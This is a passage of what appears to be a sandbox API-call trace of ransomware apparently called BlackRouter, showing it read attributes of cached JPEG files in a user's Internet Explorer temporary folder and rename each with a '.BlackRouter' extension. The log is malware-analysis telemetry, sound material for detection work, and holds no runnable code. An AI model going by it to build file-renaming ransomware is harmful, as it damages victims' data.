ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ff1610, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd86eef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b50)) returned 1 [0065.449] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg.blackrouter")) returned 1 [0065.450] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x751 [0065.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5392ab50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5392ab50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd86eef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0065.454] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg.blackrouter")) returned 1 [0065.455] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x200e [0065.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51256470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51256470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd86eef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0065.459] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg.blackrouter")) returned 1 [0065.461] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1dcb [0065.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f7f1f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f7f1f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd895050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0)) returned 1 [0065.465] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg.blackrouter")) returned 1 [0065.466] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x23ba [0065.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5530da90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5530da90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd895050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x23c0)) returned 1 [0065.474] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg.blackrouter")) returned 1 [0065.475] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xb58 [0065.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd8bb1b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb60)) returned 1 [0065.487] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg.blackrouter")) returned 1 [0065.488] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x91d [0065.498] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a45c10, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a45c10, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd8e1310, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0065.498] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg.blackrouter")) returned 1 [0065.499] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2850 [0065.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45583010, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45583010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd907470, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2860)) returned 1 [0065.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg.blackrouter")) returned 1 [0065.512] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x16ca [0065.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459613d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459613d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd92d5d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16d0)) returned 1 [0065.526] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg.blackrouter")) returned 1 [0065.529] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xafe [0065.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd92d5d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb00)) returned 1 [0065.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg.blackrouter")) returned 1 [0065.540] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2a48 [0065.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4580a770, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4580a770, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd953730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2a50)) returned 1 [0065.547] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg.blackrouter")) returned 1 [0065.548] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x87f [0065.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd953730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0065.557] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg.blackrouter")) returned 1 [0065.558] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xaa9 [0065.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b505b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b505b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd99f9f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xab0)) returned 1 [0065.573] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg.blackrouter")) returned 1 [0065.574] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1d26 [0065.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454c4930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454c4930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd99f9f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d30)) returned 1 [0065.583] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg.blackrouter")) returned 1 [0065.584] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x780 [0065.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe3bfdf0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe3bfdf0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcd9c5b50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0065.595] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg.blackrouter")) returned 1 [0065.596] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7be [0065.606] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b505b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b505b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd9ebcb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0065.607] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 